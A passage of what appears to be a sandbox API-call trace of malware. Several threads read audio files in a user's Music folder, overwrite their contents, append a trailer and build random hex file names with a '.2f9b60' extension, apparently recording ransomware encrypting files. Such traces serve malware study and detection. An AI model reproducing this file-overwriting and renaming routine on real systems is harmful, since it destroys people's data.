(in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x4f430315 [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x177ac72d [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x3adf8de5 [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x759daf00 [0227.942] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x642777b7 [0227.942] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x2ee0da8b [0227.942] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x4ae3e184 [0227.942] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x757c3082 [0227.949] ReadFile (in: hFile=0x3254, lpBuffer=0x42787240, nNumberOfBytesToRead=0x359d, lpNumberOfBytesRead=0x3055f8b0, lpOverlapped=0x0 | out: lpBuffer=0x42787240*, lpNumberOfBytesRead=0x3055f8b0*=0x359d, lpOverlapped=0x0) returned 1 [0227.949] SetFilePointerEx (in: hFile=0x3254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.950] WriteFile (in: hFile=0x3254, lpBuffer=0x427709e0*, nNumberOfBytesToWrite=0x359d, lpNumberOfBytesWritten=0x3055f8b4, lpOverlapped=0x0 | out: lpBuffer=0x427709e0*, lpNumberOfBytesWritten=0x3055f8b4*=0x359d, lpOverlapped=0x0) returned 1 [0232.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4280 [0232.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6fb0 [0232.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6fb0) returned 1 [0232.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427709e0) returned 1 [0232.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42787240) returned 1 [0232.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c640) returned 1 [0232.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0232.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f8b0 [0232.283] SetFilePointerEx (in: hFile=0x3254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0232.283] WriteFile (in: hFile=0x3254, lpBuffer=0x42c20420*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3055f9d0, lpOverlapped=0x0 | out: lpBuffer=0x42c20420*, lpNumberOfBytesWritten=0x3055f9d0*=0x11c, lpOverlapped=0x0) returned 1 [0235.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61970 [0235.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bb90 [0235.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bb90) returned 1 [0235.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f770 [0235.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bb90 [0235.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bbf0 [0235.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bbf0) returned 1 [0235.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61970) returned 1 [0235.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1b858cd0 [0235.983] sprintf (in: _Dest=0x1b858cd0, _Format="%c%c" | out: _Dest="5a") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cd2, _Format="%c%c" | out: _Dest="4e") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cd4, _Format="%c%c" | out: _Dest="72") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cd6, _Format="%c%c" | out: _Dest="03") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cd8, _Format="%c%c" | out: _Dest="4f") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cda, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cdc, _Format="%c%c" | out: _Dest="6b") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cde, _Format="%c%c" | out: _Dest="27") returned 2 [0235.983] sprintf (in: _Dest=0x1b858ce0, _Format="%c%c" | out: _Dest="43") returned 2 [0235.983] sprintf (in: _Dest=0x1b858ce2, _Format="%c%c" | out: _Dest="c8") returned 2 [0235.983] sprintf (in: _Dest=0x1b858ce4, _Format="%c%c" | out: _Dest="39") returned 2 [0235.983] sprintf (in: _Dest=0x1b858ce6, _Format="%c%c" | out: _Dest="ff") returned 2 [0235.983] sprintf (in: _Dest=0x1b858ce8, _Format="%c%c" | out: _Dest="15") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cea, _Format="%c%c" | out: _Dest="49") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cec, _Format="%c%c" | out: _Dest="e3") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cee, _Format="%c%c" | out: _Dest="ab") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cf0, _Format="%c%c" | out: _Dest="dc") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cf2, _Format="%c%c" | out: _Dest="2d") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cf4, _Format="%c%c" | out: _Dest="2f") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cf6, _Format="%c%c" | out: _Dest="f8") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cf8, _Format="%c%c" | out: _Dest="27") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cfa, _Format="%c%c" | out: _Dest="df") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cfc, _Format="%c%c" | out: _Dest="dd") returned 2 [0235.983] sprintf (in: _Dest=0x1b858cfe, _Format="%c%c" | out: _Dest="29") returned 2 [0235.983] sprintf (in: _Dest=0x1b858d00, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.983] sprintf (in: _Dest=0x1b858d02, _Format="%c%c" | out: _Dest="9a") returned 2 [0235.983] sprintf (in: _Dest=0x1b858d04, _Format="%c%c" | out: _Dest="4f") returned 2 [0235.983] sprintf (in: _Dest=0x1b858d06, _Format="%c%c" | out: _Dest="33") returned 2 [0235.983] sprintf (in: _Dest=0x1b858d08, _Format="%c%c" | out: _Dest="c2") returned 2 [0235.983] sprintf (in: _Dest=0x1b858d0a, _Format="%c%c" | out: _Dest="31") returned 2 [0235.983] sprintf (in: _Dest=0x1b858d0c, _Format="%c%c" | out: _Dest="1c") returned 2 [0235.984] sprintf (in: _Dest=0x1b858d0e, _Format="%c%c" | out: _Dest="d8") returned 2 [0235.984] sprintf (in: _Dest=0x1b858d10, _Format="%c%c" | out: _Dest="d8") returned 2 [0235.984] sprintf (in: _Dest=0x1b858d12, _Format="%c%c" | out: _Dest="3b") returned 2 [0235.984] sprintf (in: _Dest=0x1b858d14, _Format="%c%c" | out: _Dest="23") returned 2 [0235.984] sprintf (in: _Dest=0x1b858d16, _Format="%c%c" | out: _Dest="09") returned 2 [0235.984] sprintf (in: _Dest=0x1b858d18, _Format="%c%c" | out: _Dest="d7") returned 2 [0235.984] sprintf (in: _Dest=0x1b858d1a, _Format="%c%c" | out: _Dest="5a") returned 2 [0235.984] sprintf (in: _Dest=0x1b858d1c, _Format="%c%c" | out: _Dest="d4") returned 2 [0235.984] sprintf (in: _Dest=0x1b858d1e, _Format="%c%c" | out: _Dest="70") returned 2 [0235.984] sprintf (in: _Dest=0x1b858d20, _Format="%c%c" | out: _Dest="5a") returned 2 [0235.984] sprintf (in: _Dest=0x1b858d22, _Format="%c%c" | out: _Dest="ae") returned 2 [0235.984] RtlInitAnsiString (in: DestinationString=0x3055fa48, SourceString="5a4e72034fb46b2743c839ff1549e3abdc2d2ff827dfdd29b49a4f33c2311cd8d83b2309d75ad4705aae" | out: DestinationString="5a4e72034fb46b2743c839ff1549e3abdc2d2ff827dfdd29b49a4f33c2311cd8d83b2309d75ad4705aae") [0235.984] RtlAnsiStringToUnicodeString (in: DestinationString=0x3055fa18, SourceString="5a4e72034fb46b2743c839ff1549e3abdc2d2ff827dfdd29b49a4f33c2311cd8d83b2309d75ad4705aae", AllocateDestinationString=1 | out: DestinationString="5a4e72034fb46b2743c839ff1549e3abdc2d2ff827dfdd29b49a4f33c2311cd8d83b2309d75ad4705aae") returned 0x0 [0235.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x42c37710 [0235.985] wcscat (in: _Dest=0x42c37a10, _Source="5a4e72034fb46b2743c83" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\5a4e72034fb46b2743c83") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\5a4e72034fb46b2743c83" [0235.985] wcscat (in: _Dest=0x42c37a10, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\5a4e72034fb46b2743c83.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\5a4e72034fb46b2743c83.2f9b60" [0235.985] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\5a4e72034fb46b2743c83.2f9b60", NtPathName=0x3055f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\5a4e72034fb46b2743c83.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x430d71a0 Thread: id = 3858 os_tid = 0x20c8 [0227.955] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\g5yMcmTK7rFB5b6uEA6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\g5ymcmtk7rfb5b6uea6.wav")) returned 0x20 [0227.955] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\g5yMcmTK7rFB5b6uEA6.wav", dwFileAttributes=0x20) returned 1 [0227.956] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\g5yMcmTK7rFB5b6uEA6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\g5ymcmtk7rfb5b6uea6.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3250 [0227.957] GetFileSizeEx (in: hFile=0x3250, lpFileSize=0x311afa80 | out: lpFileSize=0x311afa80*=54657) returned 1 [0227.957] SetFilePointerEx (in: hFile=0x3250, liDistanceToMove=0xd57d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.957] ReadFile (in: hFile=0x3250, lpBuffer=0x311afa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x311afa48, lpOverlapped=0x0 | out: lpBuffer=0x311afa00*, lpNumberOfBytesRead=0x311afa48*=0x4, lpOverlapped=0x0) returned 1 [0227.958] SetFilePointerEx (in: hFile=0x3250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b7a0 [0227.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bb00 [0227.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313ba70 [0227.958] NtQuerySystemTime (in: CurrentTime=0x311af940 | out: CurrentTime=0x311af940*=132462178319482000) returned 0x0 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x7b2f0a23 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x2704fb3b [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x29703bd1 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x392d5c5b [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x3f6b73d3 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x6ab1bd9c [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x720bb8e8 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0xac8459e [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x751277de [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x686abe88 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x77b6b487 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x12ba9e83 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x41f38895 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x54d4773a [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x5ed81b2e [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x3d7bc66d [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x7408ad86 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x5ebc2d1d [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x647dde79 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x3430a1f7 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x138cccb4 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x6142e647 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x43fe9ba8 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0xace9193 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x2062f646 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x4bbe6fc2 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x21df6543 [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x38acd21b [0227.958] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x78b17e6 [0227.959] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x325ca7f5 [0227.959] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x61d0a2b5 [0227.959] RtlRandomEx (in: Seed=0x311af930 | out: Seed=0x311af930) returned 0x8f3fe7a [0227.967] SetFilePointerEx (in: hFile=0x3250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.967] ReadFile (in: hFile=0x3250, lpBuffer=0x427745f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x311af9a0, lpOverlapped=0x0 | out: lpBuffer=0x427745f0*, lpNumberOfBytesRead=0x311af9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0227.968] SetFilePointerEx (in: hFile=0x3250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce619c0 [0227.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c5c0 [0227.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b7a0 [0227.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b7a0) returned 1 [0227.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427acae0 [0227.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b7a0 [0227.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313ba70 [0227.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313ba70) returned 1 [0227.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c5c0) returned 1 [0227.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce619c0) returned 1 [0227.971] WriteFile (in: hFile=0x3250, lpBuffer=0x427acae0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x311af9a0, lpOverlapped=0x0 | out: lpBuffer=0x427acae0*, lpNumberOfBytesWritten=0x311af9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0232.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427acae0) returned 1 [0232.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427745f0) returned 1 [0232.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ce62690 [0232.285] SetFilePointerEx (in: hFile=0x3250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0232.285] WriteFile (in: hFile=0x3250, lpBuffer=0x42c215f0*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x311afa50, lpOverlapped=0x0 | out: lpBuffer=0x42c215f0*, lpNumberOfBytesWritten=0x311afa50*=0x120, lpOverlapped=0x0) returned 1 [0235.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61970 [0235.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313ba10 [0235.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313ba10) returned 1 [0235.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f8b0 [0235.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313ba10 [0235.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313baa0 [0235.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313baa0) returned 1 [0235.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61970) returned 1 [0235.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x4309ff30 [0235.989] sprintf (in: _Dest=0x4309ff30, _Format="%c%c" | out: _Dest="31") returned 2 [0235.989] sprintf (in: _Dest=0x4309ff32, _Format="%c%c" | out: _Dest="2e") returned 2 [0235.989] sprintf (in: _Dest=0x4309ff34, _Format="%c%c" | out: _Dest="a8") returned 2 [0235.989] sprintf (in: _Dest=0x4309ff36, _Format="%c%c" | out: _Dest="53") returned 2 [0235.989] sprintf (in: _Dest=0x4309ff38, _Format="%c%c" | out: _Dest="c9") returned 2 [0235.989] sprintf (in: _Dest=0x4309ff3a, _Format="%c%c" | out: _Dest="76") returned 2 [0235.989] sprintf (in: _Dest=0x4309ff3c, _Format="%c%c" | out: _Dest="4f") returned 2 [0235.989] sprintf (in: _Dest=0x4309ff3e, _Format="%c%c" | out: _Dest="0b") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff40, _Format="%c%c" | out: _Dest="6b") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff42, _Format="%c%c" | out: _Dest="24") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff44, _Format="%c%c" | out: _Dest="b2") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff46, _Format="%c%c" | out: _Dest="42") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff48, _Format="%c%c" | out: _Dest="91") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff4a, _Format="%c%c" | out: _Dest="67") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff4c, _Format="%c%c" | out: _Dest="4d") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff4e, _Format="%c%c" | out: _Dest="93") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff50, _Format="%c%c" | out: _Dest="53") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff52, _Format="%c%c" | out: _Dest="1c") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff54, _Format="%c%c" | out: _Dest="7a") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff56, _Format="%c%c" | out: _Dest="09") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff58, _Format="%c%c" | out: _Dest="34") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff5a, _Format="%c%c" | out: _Dest="3a") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff5c, _Format="%c%c" | out: _Dest="1a") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff5e, _Format="%c%c" | out: _Dest="d7") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff60, _Format="%c%c" | out: _Dest="28") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff62, _Format="%c%c" | out: _Dest="e3") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff64, _Format="%c%c" | out: _Dest="a4") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff66, _Format="%c%c" | out: _Dest="40") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff68, _Format="%c%c" | out: _Dest="4e") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff6a, _Format="%c%c" | out: _Dest="5c") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff6c, _Format="%c%c" | out: _Dest="fd") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff6e, _Format="%c%c" | out: _Dest="22") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff70, _Format="%c%c" | out: _Dest="5a") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff72, _Format="%c%c" | out: _Dest="4f") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff74, _Format="%c%c" | out: _Dest="62") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff76, _Format="%c%c" | out: _Dest="78") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff78, _Format="%c%c" | out: _Dest="70") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff7a, _Format="%c%c" | out: _Dest="09") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff7c, _Format="%c%c" | out: _Dest="c6") returned 2 [0235.990] sprintf (in: _Dest=0x4309ff7e, _Format="%c%c" | out: _Dest="f9") returned 2 [0235.991] sprintf (in: _Dest=0x4309ff80, _Format="%c%c" | out: _Dest="86") returned 2 [0235.991] sprintf (in: _Dest=0x4309ff82, _Format="%c%c" | out: _Dest="1a") returned 2 [0235.991] sprintf (in: _Dest=0x4309ff84, _Format="%c%c" | out: _Dest="a6") returned 2 [0235.991] sprintf (in: _Dest=0x4309ff86, _Format="%c%c" | out: _Dest="cf") returned 2 [0235.991] sprintf (in: _Dest=0x4309ff88, _Format="%c%c" | out: _Dest="1d") returned 2 [0235.991] sprintf (in: _Dest=0x4309ff8a, _Format="%c%c" | out: _Dest="ee") returned 2 [0235.991] RtlInitAnsiString (in: DestinationString=0x311afac8, SourceString="312ea853c9764f0b6b24b24291674d93531c7a09343a1ad728e3a4404e5cfd225a4f62787009c6f9861aa6cf1dee" | out: DestinationString="312ea853c9764f0b6b24b24291674d93531c7a09343a1ad728e3a4404e5cfd225a4f62787009c6f9861aa6cf1dee") [0235.991] RtlAnsiStringToUnicodeString (in: DestinationString=0x311afa98, SourceString="312ea853c9764f0b6b24b24291674d93531c7a09343a1ad728e3a4404e5cfd225a4f62787009c6f9861aa6cf1dee", AllocateDestinationString=1 | out: DestinationString="312ea853c9764f0b6b24b24291674d93531c7a09343a1ad728e3a4404e5cfd225a4f62787009c6f9861aa6cf1dee") returned 0x0 [0235.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205fd20 [0235.992] wcscat (in: _Dest=0x42c36a50, _Source="312ea853c9764f0b6b24b24" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\312ea853c9764f0b6b24b24") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\312ea853c9764f0b6b24b24" [0235.992] wcscat (in: _Dest=0x42c36a50, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\312ea853c9764f0b6b24b24.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\312ea853c9764f0b6b24b24.2f9b60" [0235.992] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\312ea853c9764f0b6b24b24.2f9b60", NtPathName=0x311afa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\312ea853c9764f0b6b24b24.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x430d7280 Thread: id = 3859 os_tid = 0x213c [0229.778] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\gF9GAN_PHiZ0N4xmvD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\gf9gan_phiz0n4xmvd.m4a")) returned 0x20 [0229.778] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\gF9GAN_PHiZ0N4xmvD.m4a", dwFileAttributes=0x20) returned 1 [0229.778] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\gF9GAN_PHiZ0N4xmvD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\gf9gan_phiz0n4xmvd.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x64c [0229.779] GetFileSizeEx (in: hFile=0x64c, lpFileSize=0x3289fd60 | out: lpFileSize=0x3289fd60*=87176) returned 1 [0229.779] SetFilePointerEx (in: hFile=0x64c, liDistanceToMove=0x15484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.779] ReadFile (in: hFile=0x64c, lpBuffer=0x3289fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3289fd28, lpOverlapped=0x0 | out: lpBuffer=0x3289fce0*, lpNumberOfBytesRead=0x3289fd28*=0x4, lpOverlapped=0x0) returned 1 [0229.780] SetFilePointerEx (in: hFile=0x64c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.780] RtlAllocateHeap (HeapHandle=0xa0000, 